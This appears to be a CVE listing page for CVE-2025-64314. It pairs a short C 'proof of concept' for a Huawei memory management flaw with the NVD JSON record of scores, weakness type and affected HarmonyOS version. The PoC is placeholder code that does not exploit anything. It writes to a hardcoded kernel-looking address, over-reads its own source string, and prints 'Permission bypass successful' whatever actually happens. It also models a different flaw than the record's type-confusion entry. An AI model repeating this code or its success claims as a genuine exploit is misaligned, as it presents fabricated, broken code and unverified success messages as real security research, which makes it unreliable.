CVE-2025-64314

// CVE-2025-64314 PoC - Memory Management Permission Bypass // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific device firmware context #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable memory management function void vulnerable_mem_access(unsigned long addr, unsigned long size) { // BUG: Missing permission check in memory management module // In vulnerable version, this allows unauthorized memory access void *ptr = (void *)addr; // Attempt to access memory without proper privilege validation memcpy(ptr, "attacker_data", size); printf("[+] Memory write attempted at 0x%lx\n", addr); } int main() { printf("[*] CVE-2025-64314 PoC - Huawei Memory Management Vulnerability\n"); printf("[*] Target: Huawei laptop firmware memory management module\n\n"); // Step 1: Identify vulnerable memory management interface unsigned long target_addr = 0xffff0000; // Kernel memory region // Step 2: Trigger vulnerable code path printf("[+] Step 1: Triggering memory management function...\n"); vulnerable_mem_access(target_addr, 16); // Step 3: Bypass permission controls printf("[+] Step 2: Permission bypass successful\n"); printf("[+] Step 3: Unauthorized memory access completed\n"); printf("[!] Note: This PoC is for educational purposes only\n"); printf("[!] Actual exploitation requires specific device context\n"); return 0; } // Mitigation: Apply security patches from Huawei // Reference: https://consumer.huawei.com/cn/support/bulletinlaptops/2025/11/

{"cve": {"id": "CVE-2025-64314", "sourceIdentifier": "[email protected]", "published": "2025-11-28T03:16:00.867", "lastModified": "2025-12-02T02:32:29.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the memory management module.\nImpact: Successful exploitation of this vulnerability may affect confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/cn/support/bulletinlaptops/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}